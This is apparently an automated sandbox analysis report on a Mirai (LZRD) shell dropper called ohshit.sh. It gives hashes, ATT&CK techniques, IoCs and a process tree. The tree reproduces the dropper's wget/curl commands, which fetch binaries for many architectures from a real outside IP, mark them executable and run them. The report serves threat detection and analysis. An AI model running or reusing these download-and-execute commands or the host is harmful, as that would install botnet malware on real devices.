mirai | 6063eae6f91c29dbfa3fa8cd98fe0859bc82c5a2ac5da1d17e8067e75f7bc3c8

Analysis

max time kernel
138s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04-01-2025 13:27

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General

Target

ohshit.sh
Size

3KB
MD5

0ce735d692827eb3c30a642449846d80
SHA1

89fc4534b140f52ebef84420b843e3d0f4236ccc
SHA256

6063eae6f91c29dbfa3fa8cd98fe0859bc82c5a2ac5da1d17e8067e75f7bc3c8
SHA512

15b3aeb395598dc8b57133c4aec4bc7db9777be7699ebf55fc12138bd6806e1ca7daa7e234f19e1567026cbbeddc912cbaf8e46ee62e1c68858b0eb72ca53c38

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1560	chmod
1582	chmod
1602	chmod
1622	chmod
1632	chmod
1540	chmod
1642	chmod
1550	chmod
1662	chmod
1570	chmod
1592	chmod
1612	chmod
1652	chmod
1672	chmod
1534	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1535	Chaotic
/tmp/Chaotic	1541	Chaotic
/tmp/Chaotic	1551	Chaotic
/tmp/Chaotic	1561	Chaotic
/tmp/Chaotic	1571	Chaotic
/tmp/Chaotic	1583	Chaotic
/tmp/Chaotic	1593	Chaotic
/tmp/Chaotic	1603	Chaotic
/tmp/Chaotic	1613	Chaotic
/tmp/Chaotic	1623	Chaotic
/tmp/Chaotic	1633	Chaotic
/tmp/Chaotic	1643	Chaotic
/tmp/Chaotic	1653	Chaotic
/tmp/Chaotic	1663	Chaotic
/tmp/Chaotic	1673	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1546/status	Chaotic
File opened for reading	/proc/162/status	Chaotic
File opened for reading	/proc/36/status	Chaotic
File opened for reading	/proc/80/status	Chaotic
File opened for reading	/proc/1638/status	Chaotic
File opened for reading	/proc/1574/status	Chaotic
File opened for reading	/proc/547/status	Chaotic
File opened for reading	/proc/1207/status	Chaotic
File opened for reading	/proc/1025/status	Chaotic
File opened for reading	/proc/173/status	Chaotic
File opened for reading	/proc/166/status	Chaotic
File opened for reading	/proc/1598/status	Chaotic
File opened for reading	/proc/1304/status	Chaotic
File opened for reading	/proc/82/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/171/status	Chaotic
File opened for reading	/proc/501/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/25/status	Chaotic
File opened for reading	/proc/458/status	Chaotic
File opened for reading	/proc/1155/status	Chaotic
File opened for reading	/proc/115/status	Chaotic
File opened for reading	/proc/84/status	Chaotic
File opened for reading	/proc/534/status	Chaotic
File opened for reading	/proc/1341/status	Chaotic
File opened for reading	/proc/669/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/451/status	Chaotic
File opened for reading	/proc/558/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/1267/status	Chaotic
File opened for reading	/proc/534/status	Chaotic
File opened for reading	/proc/1155/status	Chaotic
File opened for reading	/proc/168/status	Chaotic
File opened for reading	/proc/1346/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/1198/status	Chaotic
File opened for reading	/proc/619/status	Chaotic
File opened for reading	/proc/1159/status	Chaotic
File opened for reading	/proc/1166/status	Chaotic
File opened for reading	/proc/1258/status	Chaotic
File opened for reading	/proc/1073/status	Chaotic
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/1163/status	Chaotic
File opened for reading	/proc/178/status	Chaotic
File opened for reading	/proc/167/status	Chaotic
File opened for reading	/proc/1296/status	Chaotic
File opened for reading	/proc/1341/status	Chaotic
File opened for reading	/proc/81/status	Chaotic
File opened for reading	/proc/1203/status	Chaotic
File opened for reading	/proc/317/status	Chaotic
File opened for reading	/proc/974/status	Chaotic
File opened for reading	/proc/1574/status	Chaotic
File opened for reading	/proc/1526/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/1325/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/619/status	Chaotic
File opened for reading	/proc/1286/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/1663/status	Chaotic
File opened for reading	/proc/489/status	Chaotic
File opened for reading	/proc/1203/status	Chaotic
File opened for reading	/proc/1077/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1567	wget
1568	curl
1579	wget
1580	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1526
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1533
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-MuwsxX ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1535
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1539
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-MuwsxX ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1547
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-MuwsxX ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-MuwsxX ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1561
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1567
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-MuwsxX ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1579
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1583
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1589
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1593
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1599
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1603
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1609
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1613
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1619
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1623
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1629
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1633
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1639
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1640
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1643
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1649
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1653
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1659
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1660
- /bin/chmod
